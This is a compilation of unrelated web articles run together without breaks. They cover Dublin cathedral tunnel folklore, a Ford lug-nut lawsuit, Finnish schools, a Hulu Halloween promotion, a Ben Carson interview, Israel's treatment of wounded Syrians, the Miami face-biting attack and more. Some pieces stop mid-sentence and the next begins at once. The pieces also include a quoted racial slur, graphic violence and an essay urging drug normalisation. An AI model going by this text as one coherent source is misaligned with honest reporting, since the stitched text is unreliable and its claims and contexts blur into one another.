“Ernie received a note written by Rory O’ Connor in Mountjoy on 12 September. It told him of a tunnel leading to the Four Courts which could be used if they had left any important documents behind. One piece of folklore attached to that area of the city concerned a tunnel from there to Christchurch, built in the thirteenth century when a Dominican friary of St. Saviour occupied the Four Courts site.
Towards the end of the nineteenth century, an army officer was accidentally locked in the tunnel which was used for storing ceremonial paraphernalia. He was soon documented as ‘missing, presumed dead’ until the next occasion demanding the opening of the tunnel. Near its entrance was discovered the skeleton of the officer and in the bones of his right hand was his sword. Lying about were the broken bone fragments of up to 250 rats that had attacked and had been beaten off by the mans sword before he himself was overcome.”
From looking at a number of different sources, it seems likely that there is some truth to this macarbe story.
The earliest substantial reference I can find is from 1907. Samuel A. Ossory Fitzpatrick’s book Dublin: A Historical and Topographical Account of the City describes the
…tragic interest attached to the tablet to Sir Samuel Auchmuty, G.C.B., who died in 1822 while in command of forces in Ireland. It is said that at his funeral an officer lost his way in the crypt, was accidentally locked in, and was there devoured by rats, which probably swarmed from the great sewer which led from the cathedral to the Liffey. His skeleton is said to have been afterwards found still grasping his sword, and surrounded by the bones of numbers of rats which he had slain before being overcome.
I believe this story was taken from page 33 of the 1901 book The Cathedral Church of the Holy Trinity, Dublin by William Butler but unfortunately the full book is not available to view online. An article published in The Irish Times on 8 September 1926 repeats the story and names the poor soldier as ‘Lieutenant Mercier’. The story was recounted, without a name for the dead soldier, in an 1940 article by P. J. McCall entitled ‘In the Shadow of Christ Church’ in the Dublin Historical Record journal. Sir Samuel Auchmuty certainly died in 1822 and his funeral was held in Christchurch so the story’s backdrop does match up. Elgy Gillispie writing in the The Irish Times on 19 June 1975 fleshed out the story considerably. The journalist was given a tour of the vaults of the Cathedral by guide Joe Coady who recounts the tale of the ‘Tragic Demise of Lieutenant Blacker”: In August 1822, this young officer of the 78th Regiment of Foot came down with fellow mourners into the crypt to attend the funeral of his colonel, a Sir Samuel Auchmuty … In the gloom of the crypt Blacker lost his sense of direction and inadvertently wandered into the underground passage … He was attacked by a species of large river rats that populated the tunnels … His skeleton was found, picked clean to the bone, beside his broken sword by a search party two days later. After that the tunnel was filled. Tour guide Joe Coady said that the sword was still in the possession of the Cathedral but not kept on display. Like most old tales, there’s a couple of versions. Kevin Fitzsimons told an Irish Press journalist, in a 6 July 1967 article, that it was a “dragoon officer” who was got lost in the passageways with his dog. He was found months later eaten by rats while his dog had been accidently decapitated in the fight for survival. More recently, a Dublin haunted ghost tour company are telling tourists this story but in their version, the soldier is killed after being locked into one of crypts by accident after a drinking session.
Next week, I will focus on the stories about the tunnel that allegedly ran from the crypt of Christchurch Cathederal, under the Liffey, to St Saviours Priory (site of the present Four Courts).Lawsuit says Ford lug nuts swell and crack, leaving the lug nut wrench useless.
August 24, 2017 — Ford swollen lug nuts have caused a proposed class-action lawsuit that alleges the lug nuts swell, crack and delaminate to the point special tools are needed to remove the lug nuts.
The lawsuit alleges the swollen lug nuts are installed on the Ford Fusion, Escape, Flex, Focus, F-150 and F-350.
Instead of solid steel nuts, the plaintiffs say Ford sells its vehicles with lug nuts that have a steel core with chrome, aluminum or stainless steel caps attached to improve the appearance of the visible part of the lug nuts.
The caps allegedly swell, crack and delaminate to the point where the lug nuts cannot be removed with the lug wrench provided by Ford. This leaves owners and lessees who get flat tires often stranded on the roads without the ability for even tow truck drivers to remove the swollen lug nuts. This means a tow to the shop just to have the lug nuts removed and the tire replaced.
An example of Ford's cracked lug nuts
Ford allegedly chooses not to use one-piece lug nuts because one-piece stainless steel or other alloy lug nuts cost more than the two-piece “capped” lug nuts.
However, the plaintiffs claim they didn't know about the lug nut issues because when new, the capped lug nut is virtually identical in appearance to the one-piece stainless lug nut, especially since the steel core is not visible when the lug nut is snugged up to the wheel.
The plaintiffs say the changes to the lug nuts occur with temperature swings, moisture and road vibrations, changing the appearance of the capped lug nuts.
Plaintiff Robert Desotelle says he and other owners must pay to replace the swollen and cracked lug nuts, and then cover the labor costs to remove the bad lug nuts. Desotelle says he paid $58.28 in repair and replacement costs for just one of the four wheels on his Ford Fusion.
The lawsuit references complaints from Ford owners about the lug nut problems, and CarComplaints.com has heard from some of these owners.
"Had a flat a few months ago. AAA had major trouble getting the lug nuts off as I now recall. Took car to dealer for routine service today. Dealer said lug nuts were swollen and needed replacing. Only way to remove sometimes is to destroy the nut." - 2014 Ford Escape owner / Rocky River, Ohio
Another Escape owner talks about how a warranty didn't help at all.
"They [Ford dealer] found the lug nuts (all20) to be "swollen. Service rep said it is due to the two dissimilar metals the lug nuts are made of. They charged $8 each, so $160 plus tax to replace all. Even though we have the "extended warranty" there is no coverage from Ford. The vehicle has never been in snow or ice, no salted roads. The new lug nuts are exactly the same as the old ones." - 2014 Ford Escape owner / Tampa, Florida
According to the plaintiffs, Ford has known about the lug nut problems for years based on reports from consumers and dealers. When dealers observe swollen lug nuts on vehicles, technicians must use special wrenches and tools to remove the failed lug nuts and owners and lessees are required and advised to buy replacement lug nuts.
But according to the lawsuit, some dealers suggest their customers buy non-Ford lug nuts because they know any replacement Ford lug nuts will fail and become unusable.
An example of Ford's swollen lug nuts
The plaintiffs say they never expected to buy replacement lug nuts within the first years of owning the vehicles, yet Ford left them no choice. In addition, the lawsuit alleges Ford does not replace for free its allegedly defective two-piece lug nuts, even when they fail during the new vehicle warranty period.
Instead, Ford allegedly shifts its warranty obligations onto its customers, requiring owners and lessees to spend hundreds of dollars for new lug nuts and the labor to install them.
The proposed class-action lawsuit includes millions of current and former owners and lessees of Ford’s Fusion, Escape, Flex, Focus, F-150 and F-350 vehicles equipped with two-piece lug nuts.
The Ford swollen lug nuts lawsuit was filed in the U.S. District Court for the Eastern District of Michigan - Josh Wozniak, Angel Castaneda, Raj Chauhan, Robert Desotelle, Samantha Ellis, Donald Lycan and David Mathias, et. al, vs. Ford Motor Company.
The plaintiffs are represented by Hagens Berman, and the Miller Law Firm, PC.Back to school means jumping back into classes, homework and studying. But in Finland, it’s a whole other story. Instead of following rigid lesson plans, Finnish teachers like to ease their students back into the school year with games, exercise and discussions about summer vacations.
Some teachers even go as far as giving their students a half-day off on the first day of school, The Atlantic reports.
“I think it's important to have a ‘soft start’ in order to let the school routines and procedures gently grow into the kids,” said Johanna Hopia, a teacher at Kuopio’s Martti Ahtisaari Elementary School.
Fellow educator Jere Linnanen, of Helsinki’s Maunula Comprehensive School, agreed. “I want to start the school with as little stress as possible, both for myself and my students,” he said.
This relaxed approach to teaching is very different from North American schools, where teachers are often required to follow a strict curriculum and plan their lessons well in advance.
And that’s not the only thing that’s different. In Finland, kids don’t start formal school until the age of seven. There are no standardized tests, school days are short and kids are given very little homework. And to top that all off, the Finnish education system strongly believes in learning through play and gives students a 15-minute break every 45 minutes of class.
While these teaching methods might seem unconventional, they have proven to be very effective. So effective, in fact, that Finland has one of the top education systems in the world and ranks number one in literacy.
By comparison, Canada ranks 11th in literacy.
Also on HuffPostAs Hulu enjoys its biggest year yet thanks to the launch of its live TV service and the success of The Handmaid’s Tale, the streaming service is building on its momentum with a Halloween activation that it says will help it redefine TV while also driving new subscriptions.
Beginning today, Hulu is celebrating “Huluween” with an Hulu Haunted House that combines a short-form six-part anthology series called The House, VR videos, exclusive interviews with horror film stars and creators as well as a spooky spin on the Yule Log videos that are popular during the Christmas season.
“People have a default idea of what television is, and at Hulu, we have an opportunity to redefine it,” said John S. Couch, Hulu’s vp of experience design. “As part of our overall philosophy of developing new ways of telling story, we wanted to define new experiences for the fans. Part of that was be the idea of, let’s build this around a theme, and figure out new ways of leading a person through narrative into a deeper experience with the content.”
The Haunted House activation includes an opening short which establishes “the mythology of the original sin, the tree of knowledge and how the wood from that tree is showing up in different haunted houses throughout the world,” said Couch.
That theme is central to the six short-form House anthology films, three of which are available today. The shorts, which feature haunted houses in different locales and time periods, “are all homages to, and plays on, the horror and scary movie and show genre,” said Couch.
The first wave of House shorts—all of which are available for free—includes Let Us In, which Couch compared to films like Scream. Two people dressed in creepy nun costumes break into a house in order to make a “sacrifice,” but get more than they bargained for.
Let Us In will lead into The Reckoning, one of two VR extensions that WEVR created for Hulu, which are available for free on Hulu’s VR app. “You can have an additional experience by going into the VR side of it and seeing the opposite side of the story. So go from being the victim to the killer,” said Couch.
The second House video, Unexplained Phenomena, is a throwback to ‘80s shows like the Robert Stack-hosted Unsolved Mysteries, “that talk about things you can’t understand,” said Couch.
The third short, The Projectionist, is “a classic, almost noir-feeling film,” said Couch, that follows a young couple attending a special midnight screening of a horror movie.
By making the House shorts available for free, Couch hopes they will drive new subscribers to Hulu. “These short films will also be a way to engage the audience to say, hey, there’s this really cool stuff happening within the Hulu experience itself,” he said. “They are being both used as traditional content within the experience itself, but also as a way to expose the fact that we are doing this Huluween experience within Hulu.”
Beyond the House shorts, Hulu has created six “scenics,” extended videos of creepy Halloween-themed scenes, which Couch compared to the Yule Log videos that people put on their TV screens during the Christmas season. Viewers can watch a creepy graveyard or a witch’s cauldron, which Hulu suggested are perfect background scenes for a Halloween party.
Subscribers will also have access to new “Frights and Insights” interviews with the casts and crews of movies like The Monster Squad and Fright Night.
The activation’s second wave, on Oct. 25, will bring three more short films, one with another companion VR experience, along with additional “scenics” and a series of podcasts.I am a baseball fan in general, and a Kansas City Royals fan in particular. As such, it was with great pleasure that I was watching the World Series. In watching these games, I noticed something interesting about the San Francisco Giants right fielder Hunter Pence – he never seemed to blink.
Why was this? Was Pence just hyped up on amphetamines? It would explain why Pence was seemingly in constant motion at all times during the Series. After all, it is difficult to remain in one place and stay still while hopped up on speed.
But maybe there was another explanation. Maybe Hunter Pence did not blink during the series because of another, more sinister reason. Maybe, just maybe, Hunter Pence saw a Weeping Angel.
It would make sense. Weeping Angels can pop up anywhere, and with the Royals struggling to get Pence out during the series (he produced a.444/.500/.667 batting line) it would have been to their advantage to find a way to get him out one way or another. Sending him back to another time, where he could no longer hurt the Royals, would likely have been the best way.
So what if video evidence does not exist to prove that Weeping Angels were at Kauffman Stadium during the series? Anyone filming them would likely have been sent back in time, and may be swapping tales of these creatures with Amy and Rory. No eye witness accounts? Same issue – sent elsewhere in time.
At least, that would probably have been the best way for the Royals to handle Hunter Pence, since their pitchers were thoroughly incapable of handling the wild eyed outfielder. And while the Angels were there, they could have taken care of Madison Bumgarner as well.
Hunter Pence was either completely wired or saw a Weeping Angel. I know which one I was hoping for.Conn. school's male prom queen greeted with cheers
Nasir Fleming won prom queen at the Danbury High School prom on Friday, May 23. Nasir Fleming won prom queen at the Danbury High School prom on Friday, May 23. Image 1 of / 12 Caption Close Conn. school's male prom queen greeted with cheers 1 / 12 Back to Gallery
When Nasir Fleming's Danbury High School classmates nominated him for prom king and prom queen, he saw an opportunity.
The 17-year-old senior says he is gay and has been out since the sixth grade. While popular, he has struggled with bullying for much of |
might be rather unpleasant people you wouldn’t want to be left alone with for too long. They’re certainly not the disciplined folks who would be at the heads of mutual aid societies or coops. They might be those nasty free riders we fear so much. Nevertheless, the very acts we might be disgusted by have given us fuller expression of personal freedom, both politically and culturally.
What the hell does any of this have to do with the antics of Miley Cyrus? Well, I see Miley’s actions, as of late, whether they be embracing her sexuality, being open about her use of MDMA or smoking a joint on stage in front of millions, as not merely acts intended to shock, but as forms of cultural disobedience. Cultural disobedience, like civil disobedience, involves the public display of acts which are culturally frowned upon. When Miley rejected her role as a teenage sensation and began grinding wildly against Robin Thicke with a background of sexualized teddy bears, she was doing more than grabbing attention for her new album, she was stripping away what she saw as this culture’s expectations of her as an “innocent.” Miley is displaying her sexuality as a force for good, as something powerful to be enjoyed at an individual’s discretion.
Recently Miley engaged in another act of cultural disobedience by lighting up a joint on stage during a televised event. Again, we can see this as a cheap publicity stunt. She wouldn’t have done this if corporate lawyers hadn’t approve it already. But this is a sign that norms about drug use are breaking down. The biggest pop sensation of our day is being brazen with her drug use and, as a result, doing her own part in normalizing drugs into our culture. As I’ve argued elsewhere:
“… we will not get to a point where consumption of drugs isn’t severely regulated by society and the State without actual drug users participating in passive civil disobedience. Those who light up joints on their porch or in public parks are not only getting high, they are undermining the social norms that make these laws sustainable. When we endorse conservatives who pay lip service to libertarian policies and try to kick out those we see as deviant, we are endorsing the culture of puritanism. We undermine what should be our true values, we endorse the values that make drug laws possible.”
Consider this merely an extension or application of Agorist thought. Agorism recognizes that a government is only as good as the economy it controls. The libertarian culture warrior recognizes that culture plays a similar foundational role for the laws that are enforced. Drugs became illegal not just because politicians said so, but because of scare campaigns about their effects and the kinds of people that want to use them. Women did not simply wake up to their oppression the day after laws appeared regulating the use of their bodies. It was already accepted by the dominate culture that women needed to be treated in such a way and so it manifested itself into law.
Miley Cyrus is a potent force for good, as are other pop culture figures like her. You don’t have to dig their music or the way these people sell themselves. The fact is libertarians ought to adopt sex-positive and drug-positive attitudes in order to eliminate the oppression which is imposed on sexual minorities, drug users and cultural dissidents. Consider that there are more expressions of your political philosophy than the NAP. When people stand up and declare their freedom in spite of social norms, we ought to point to them as the best representatives of our philosophy. We must support cultural renegades and, especially, mainstream culture that deviates from traditional mores. By promoting libertarian and even libertine values in the mainstream, libertarianism is done a great service. The culture war is real and libertarians need to start taking it more seriously.
Translations for this article:GREENVILLE, S.C. – Ben Carson is the only person in the 2016 presidential field who is vying to become the country’s second African-American president.
If truth be told, however, he’s not entirely sure he wouldn’t actually be the first.
Story Continued Below
Carson, speaking during a half-hour sit-down with POLITICO’s “Off Message” podcast as he waited for the results of Saturday’s South Carolina primary (he finished sixth out of six), laid out his views on racism – and his belief that his experience as poor black kid in 1960s Detroit represents the real experience of his people in way that Barack Obama could never understand.
“He’s an ‘African’ American. He was, you know, raised white,” said the world-renowned neurosurgeon, whose single mother worked three jobs – and occasionally relied on government aid – to elevate Carson and his older brother from the grinding poverty of ghetto life.
“I mean, like most Americans, I was proud that we broke the color barrier when he was elected, but … he didn’t grow up like I grew up … Many of his formative years were spent in Indonesia. So, for him to, you know, claim that, you know, he identifies with the experience of black Americans, I think, is a bit of a stretch.”
Carson also suggested that what passes for racism now – in the age of Ferguson and Freddie Gray – isn’t comparable to the overt discrimination he encountered a half-century ago as a young man.
“Remember now, I’ve been around for 64 years, you know,” he added. “I’ve had a chance to see what real racism is.”
Carson has largely, if not entirely, downplayed the role of race in his brief rise. But as he fades (and many Republicans are calling for him to drop out for the sake of stopping Donald Trump if he flops, as expected, tonight in Nevada), he’s begun to expound more on his views on the role of race in the country. Touring through South Carolina, the sword-tip of the segregation movement and one of the most racially polarized states in the country, put him in a reflective mood – and he made a point of campaigning in black neighborhoods and African-American college campuses last week.
When I pressed Carson on whether he’d experienced any racism in today’s Republican Party, though, he flatly denied it – and said the real issue was progressives who couldn’t accept the existence of a truly conservative black man. “They assume because you’re black, you have to think a certain way,” he said. “And if you don’t think that way, you’re ‘Uncle Tom,’ you’re worthy of every horrible epithet they can come up with; whereas, if I weren’t black, then I would just be a Republican.”
Yet, for a nanosecond, he admitted that he’s not exactly on the lookout for racists lurking in a party that is, by most estimates, about 90 percent white – with blacks like Carson making up just two percent of the total. “I don’t find any particular problem being an African American in the Republican Party,” he said.
But he quickly added: “Maybe I’m just very nonobservant. You know, I don’t go around looking for things, and you have to understand that whatever you think is going on is probably what you’re going to see. So, if somebody told you that you’re about to meet somebody and they’re really a mass murderer and they’re just looking for an opportunity to kill you, everything they say, you’re going to say, 'Uh‑huh, I see what he’s trying to do.' Whereas, if they told you the very same person really loves everybody and is looking for a way to enhance them and the very same thing,you say, ‘Oh, wow, yeah, that’s really good.’”
At that point, I admitted to being a little befuddled. I’ve personally witnessed racist comments at events staged for candidates in both parties – the most recent being at a Trump rally in Lowell, Massachusetts earlier this year when I witnessed two young men calling a pro-immigrant protester a “nigger.” Back in 2008, I heard a Clinton supporter in Toledo, Ohio use the same epithet to describe then-Sen. Obama.
Carson was steadfast in defending his party (this is a candidate who has said a Muslim shouldn’t run for president unless he or she renounces sharia law) and when I asked him if Trump was a racist, he replied, “I have not witnessed anything that would make me say that about him.”
But when I followed up with a question about Trump’s general tone on racial issues, he shook his head: “No, it’s not the tone that I would use. Absolutely not.”
One of the great ironies of 2016 is that Carson, a free-market conservative who rose by railing against big-government Obamacare, views race through the larger prism of class – putting him (very) roughly more on the Bernie Sanders side of the race-vs.-class argument.
When I ask him if racism played a role in the contaminated water crisis in Flint, Michigan, he says, “Let me put it this way: If that were going on in an affluent black community, it would have not gone on,” adding: “A lot of things that people classify as racism is classism, and, believe me, there's a lot of classism in our society, and if people of a certain race happen to fall into a lower class, then they get the brunt of it.”
There was a time, at the end of 2015, when Carson seemed poised to challenge Trump – but a series of setbacks, languid debate performances and the near-collapse of his campaign from mismanagement scuttled the effort. At the Embassy Suites here on election night, several of his staff and volunteers could be heard musing about what they planned to do when – not if – he dropped out. Still, Carson has a substantial war-chest and a still-functional online fundraising operation and professed to be in for the long haul, without a lot of force behind the statement.
“Well, I don't have any immediate plans of cessation,” he says.
Outside observers have suggested Carson is soldiering on through Nevada to thumb his nose at Ted Cruz, whose campaign floated the rumor that he was about to drop out of the race during the Iowa caucuses. Cruz has repeatedly apologized – and blamed his staff’s actions, dubiously, on a CNN report – and he tried his luck again in a private meeting here; Carson “wasn’t impressed,” a staffer later told me. And the candidate himself cast doubt on the Texas senator’s contrition tour.
“As a Christian, I do accept his apology, but, you know, God forgives us when we sin, but he doesn’t remove the consequences,” he says – and sure enough, a couple of days later, Cruz sacked a top aide for playing a dirty trick on Marco Rubio.
The central theme of Carson’s inspiring personal story is his triumph over a self-destructive, volcanic temper though the salvation of his Christian faith. This makes him an unusual candidate and an unusual person – with a clerical, un-Trump-like tendency towards self-reflection and admitting his own shortcomings (he says he’s stopped providing so much “lip service” – controversial comments – to reporters like me who obscure his compassionate conservative message). In person, he projects an unnerving calm, and when you sit with him a while you can see the mechanism of this reflexive self-soothing: Ask a tough or annoying question and he closes his eyelids – full stop – and opens them slowly, with a Gautama smile, rolling out an answer with deliberation and care.
“As a pediatric neurosurgeon, when you’re deep in somebody's brain and a blood vessel pops, if you panic, the patient is dead,” he explains. “You have to be very calm. You have to keep everybody else very calm, and you will generally find that neurosurgeons are calm people.”
C’mon, Dr. Carson, I want to know, don’t you ever get angry?
“I generally don’t, you know,” he replies. “If I’m, you know, working with a very obnoxious person, you know, I just say, ‘That used to be a cute little baby. I wonder what happened to them.’”Last week, Weezer revealed the cover art for their forthcoming Everything Will Be Alright In The End, and in our post on the subject, I guessed that the album’s then-unannounced release date would “surely emerge via video transmission within the next three weeks.” Well, it only took one: Per the band’s new YouTube clip, Everything Will Be Alright In The End will be out September 30. You can watch the video, which teases the album track “Return To Ithaca,” below.
Drummer and frisbee catcher Pat Wilson tells EW, “If you took the Pinkerton band and then play all the other records — that’s what we sound like now. Bombastic, loose, kind of booming. This record sounds like it’s going to have the tight structure of Blue Album with a little bit more abandon like Pinkerton.”From For the Time Being
I
JOSEPH
My shoes were shined, my pants were cleaned and pressed,
And I was hurrying to meet
My own true Love:
But a great crowd grew and grew
Till I could not push my way through,
Because
A star had fallen down the street;
When they saw who I was,
The police tried to do their best.
CHORUS [off]
Joseph, you have heard
What Mary says occurred;
Yes, it may be so.
Is it likely? No.
JOSEPH
The bar was gay, the lighting well-designed,
And I was sitting down to wait
My own true Love:
A voice I’d heard before, I think,
Cried: “This is on the House. I drink
To him
Who does not know it is too late;”
When I asked for the time,
Everyone was very kind.
CHORUS [off]
Mary may be pure,
But, Joseph, are you sure?
How is one to tell?
Suppose, for instance... Well...
JOSEPH
Through cracks, up ladders, into waters deep,
I squeezed, I climbed, I swam to save
My own true Love:
Under a dead apple tree
I saw an ass; when it saw me
It brayed;
A hermit sat in the mouth of a cave:
When I asked him the way,
He pretended to be asleep.
CHORUS [off]
Maybe, maybe not.
But, Joseph, you know what
Your world, of course, will say
About you anyway.
JOSEPH
Where are you, Father, where?
Caught in the jealous trap
Of an empty house I hear
As I sit alone in the dark
Everything, everything,
The drip of the bathroom tap,
The creak of the sofa spring,
The wind in the air-shaft, all
Making the same remark
Stupidly, stupidly,
Over and over again.
Father, what have I done?
Answer me. Father, how
Can I answer the tactless wall
Or the pompous furniture now?
Answer them...
GABRIEL
No, you must.
JOSEPH
How then am I to know,
Father, that you are just?
Give me one reason.
GABRIEL
No.
JOSEPH
All I ask is one
Important and elegant proof
That what my Love had done
Was really at your will
And that your will is Love.
GABRIEL
No, you must believe;
Be silent, and sit still.
Save
SaveFaris is a Syrian patient at Safed’s Ziv Medical Center recovering from a leg injury after stepping on an unexploded bomb in a field. He says he is a 24-year-old bean farmer from the Damascus suburb of al-Kaswe.
The Israeli doctor who treated Faris cannot corroborate the young Syrian’s story. The real identity of this man, who refused to reveal his last name out of security concerns, is unknown to anybody in the hospital. Was he really a fighting-age male in the middle of a war zone just farming his beans?
The official line from the Israeli army is that it will treat any Syrian who requires serious medical assistance, no matter who they are. Medical assistance to Syrian civil war casualties, the IDF says, is a humanitarian initiative.
Get The Times of Israel's Daily Edition by email and never miss our top stories Free Sign Up
And the humanitarian dimension of the initiative is far-reaching, indeed. Over 2,000 Syrians have been treated in Israel, 600 in Ziv alone, since December 2013. Many are women and children.
Injured Syrians can sometimes choose between seeking treatment in Jordan or in Israel, but most choose to get treated in the “enemy” Jewish State, where they know they can get top-quality health care quickly. The Ziv Medical Center is only 18.5 miles (30 kilometers) from the Syrian border.
Of the 600 Syrian patients treated to date at the Safed hospital, of whom 80 percent arrived with severe orthopedic trauma, only nine have died. Many return to Syria able to walk again, with orthopedic devices that can cost up to $3,000 each. Each patient costs the Israeli taxpayer about $15,000, Prof. Alexander Lerner, the head of the hospital’s orthopedic department, told a group of visiting journalists last week.
Others have also visited the hospital to learn about Israel’s medical treatment of Syrians for the past two years, including different media outlets and politicians, such as Republican presidential candidate Ted Cruz.
Despite the publicity, a few critical questions still remain. Among them: Is it really possible that the IDF does not differentiate between bean farmers and radical Islamists committed to Israel’s destruction? And who is coordinating the transfer of the Syrian wounded to the IDF?
Israel continues to profess its neutrality in the Syrian civil war, and security officials credibly claim that there can be no particularly good outcome as far as Israel is concerned. Whatever Syria’s ultimate fate, more than four decades of relative tranquility are plainly over. Still, both the Israeli army and experts familiar with the situation acknowledge that the IDF has contacts with rebels across the border. Which rebels, however, is a closely guarded secret.
Some reports from UN peacekeepers on the border between Israel and Syria have substantiated that the IDF is providing more than just medical assistance to rebel factions. No report, however, has named Israel’s partner rebel groups or specified what the extra aid might be.
Natural allies?
On Faris’s bedside table lies a copy of “The Story of the Prophets,” a 700-year-old Arabic classic that retells the story of the Judeo-Christian-Islamic prophets. On his hand, a black bracelet on which is written “John: 3:30.” No, he is not a Christian — some German tourists had visited and given him the bracelet. He said he will wear it as a reminder of the kindness he received in Israel.
How did Faris get to Israel? After he was injured, he said, “the guys came and brought me to the border crossing. The Israeli army was waiting there for me and took me to the hospital.”
“The guys? Which guys?” this reporter asked.
Faris paused for a few seconds. “The Free Syrian Army brought me to the border,” he said.
Faris’s admission does not mean that Israel is working directly with the Free Syrian Army. FSA brigades, however, are found in large numbers along the border with Israel in southern Syria. As they are for the most part neither ideologically committed to Israel’s destruction nor loyal to Iran, the group could perhaps be Israel’s natural ally.
The bean farmer is not the first person to constitute an ostensible link between the IDF and the moderate rebel confederacy. When an FSA commander was abducted by al-Nusra fighters in July 2014, they had him confess in a video to collaborating with Israel.
The captured commander said that rebels could only approach the border with Israel after coordinating with the IDF. He also said that after five meetings with IDF commanders within Israel, he began receiving “basic medical support and clothes” as well as weapons, which included Russian rifles, RPG launchers with 47 rockets, and thousands of rounds of bullets. None of this was confirmed by Israel.
In the bed next to Faris lies Abu Hamza, a 35-year-old physician from near Damascus, who also asked that his full name not be published for his safety. He is married and a father of two.
The moment Abu Hamza finished medical school in 2011, the war broke out. His residency would take place in field hospitals, treating rebel fighters, although he refused to say which fighters. He would only say that he was “supporting people oppressed by the regime.”
Last week, Abu Hamza’s car was targeted by the Islamic State near the town of New Quneitra, which is visible from the Israeli border. From the moment he was injured until he was in the hands of the IDF, said the field doctor, only 45 minutes had elapsed. The swiftness by which he was transferred into Israeli hands would suggest another indication of coordination between the IDF and groups across the border.
When asked if he felt strange about entering the so-called enemy state of Israel, he responded: “The State of Israel is only the enemy in the mind of Bashar Assad. In the last five years, we’ve been on the border with Israel and nothing bad has happened from the Israeli side.”
Mystery patients
The staff of the Ziv Medical Center does not know the identity of the Syrians they are treating, said Channa Bikel, a hospital official. Only the army knows.
Could Israelis be treating fighters from the al-Qaeda-backed al-Nusra Front, which the IDF estimates currently controls 80 percent of the Syrian border with Israel? Speaking to a group of journalists on the Syrian border, IDF Spokesperson Lt. Col. Peter Lerner seemed to indicate it was possible.
‘We will treat anybody in dire need’
“We follow a medical professional policy. We do not screen. We will treat anybody in dire need. If someone comes to the border with no legs, you cannot just leave him there,” he said.
At one point, it seemed, Israel was indeed knowingly treating members of al-Nusra.
In June of last year, army ambulances transporting Syrians were ambushed by a group of Israeli Druze, who killed one of the wounded. The lynching took place in the shadow of a massacre by members of the al-Nusra Front against a Druze community in northern Syria the month before.
A senior IDF commander reportedly confirmed to the Haaretz daily that Israel had treated a number of al-Nusra fighters, whom he described as having “infiltrated” into Israel to get medical treatment. He said the Islamist fighters had gotten past simple identity checks. Following last year’s lynch, however, the army had decided to stop treating al-Nusra fighters and started checking the identity of anyone coming into Israel for treatment.
A senior IDF official from the Northern Command, however, gave a conflicting version of this issue, saying the Druze did not initially understand the army’s policy of treating all Syrians, regardless of their affiliation. Today, the Druze, he said, are content with Israel’s open door humanitarian policy.
Humanitarian diplomacy
The IDF is sending mixed messages. Sometimes officials will say the screening of Syrians does occur, while other times they claim any injured person can come through, get treatment and go back.
The lack of clarity may simply be miscommunication. It may also, however, simply reflect the reality that the IDF’s strategy vis-a-vis Syrians is highly fluid.
A senior IDF officer told The Times of Israel that Israel’s treatment of Syrians was not even a planned initiative.
The story goes like this: Some three years ago, a company commander saw two injured Syrians lying along the border fence. The commander decided he would offer them medical treatment — and thus, a policy was born. Israel’s goodwill then reportedly spread through Syria by word of mouth, the IDF officer said.
And then, last June Israel officially stopped pretending that treating Syrians was wholly a humanitarian effort.
Following the lynching of the al-Nusra fighter, Israel’s Defense Minister Moshe Ya’alon set the record straight and publicly confirmed that Israel was treating rebel fighters. Medical aid, he said, was being given under two conditions: that Islamic extremists don’t get close to the border and that the Syrian Druze population is protected.
So far, Israel and the Syrian rebels have kept their sides of the bargain.
Nir Boms, who recently wrote a memo for Israel’s Institute for National Security Studies (INSS) entitled “Syria: New Map, New Actors Challenges and Opportunities for Israel,” called Israel’s efforts with Syrians “humanitarian diplomacy.”
Through its humanitarian efforts, argued Boms, Israel is also forming important contacts and relationships with Syrian groups just across the border. These local groups help keep the area safe, and keep channels of communication open to the other side.
Israel, however, cannot risk publicly declare with whom it has contacts, according to Boms, because such a declaration would hurt that group’s position and perhaps endanger its members from rival hardline Islamist groups like al-Nusra.
It is possible, said Boms, that Israel had treated members of al-Nusra. Rebel fighters have been switching back and forth between FSA brigades and more Islamist groups. Perhaps, he explained, those al-Nusra members who came through were linked to more moderate groups with whom the IDF has connections.
That Israel remains ambiguous about the identity of those groups on the other side, he said, “is not divorced from logic.”
In a conflict where loyalties and realities on the ground are constantly shifting, concluded Boms, ambiguity and complexity can leave much needed room for maneuvering.
Judah Ari Gross and Elhanan Miller contributed to this report.On May 26, 2012, a nude assailant, Rudy Eugene, attacked and maimed Ronald Poppo, a homeless man, on the MacArthur Causeway in Miami, Florida, making headlines worldwide. During the 18-minute filmed encounter, Eugene accused Poppo of stealing his Bible, beat him unconscious, removed Poppo's pants, and bit off most of Poppo's face above the beard (including his left eye), leaving him blind in both eyes.[1] As a result of the incident's shocking nature and subsequent worldwide media coverage, Eugene came to be dubbed the "Miami Zombie" and the "Causeway Cannibal".[2] The attack ended when Eugene was fatally shot by a Miami PD officer.
Although friends and family filled in details of Eugene's life, the reason for the attack remains unclear. Eugene, 31, employed at a car wash at the time, was a divorced former high school football player with a series of petty criminal arrests from age 16, with the last in 2009. Poppo, 65, a graduate of Manhattan's Stuyvesant High School, was homeless and had long been presumed dead by his estranged family. While police sources speculated that the use of a street drug like "bath salts" might have been a factor,[3] experts expressed doubt, since toxicology reports were only able to identify marijuana in Eugene's system, leaving the ultimate cause of his behavior unknown.[4]
Attack [ edit ]
On the morning of May 26, 2012, 31-year-old Rudy Eugene drove to Miami Beach, Florida, to Urban Beach Week.[5] His Haitian-flag-draped purple Chevrolet Caprice became disabled along the way. After spending 30–40 minutes at the site, as filmed on security video in and around the car,[5] he abandoned it about noon, and began to cross the 3-mile-long (4.8 km) span of the MacArthur Causeway, stripping himself of his clothing and disposing of his driver’s license as he advanced westward, according to eyewitnesses.[6] His vehicle was eventually discovered and towed by Miami Beach police. Inside the car, police discovered a Bible and five empty water bottles, which they believed had been recently consumed.[5]
Eugene—who eventually became completely naked, discarding even his shoes and his Bible at the crime scene[5]—encountered 65-year-old Ronald Poppo at approximately 1:55 pm. Poppo had been lying underneath the elevated Metromover people-mover viaduct when Eugene began to pummel him, strip him of his pants, and bite his face. The attack unfolded at the west end of the MacArthur Causeway, near the headquarters of The Miami Herald in the Arts & Entertainment District neighborhood of Downtown Miami.[7] It was at first believed that neither Eugene nor Poppo[2] knew the other before their encounter, until a July 2012 publication revealed that Eugene had met Poppo while working for the homeless community of Miami.[8] A passing cyclist, Larry Vega, came upon the scene and alerted authorities via 9-1-1.[9] A few minutes later, Miami Police Department officer Jose Ramirez[10] arrived and, after doing a double take at the spectacle,[11] warned Eugene to desist from attacking Poppo. Eugene ignored the officer's warnings and, instead, reportedly growled at him, then resumed biting his victim.[9] The attack ended at 2:13 pm with Officer Ramirez shooting Eugene once at first and then another four times when that proved ineffective. The ordeal was captured by a security camera on The Miami Herald building.[12] Surveillance video shows that the attack continued for 18 minutes before help arrived.[11]
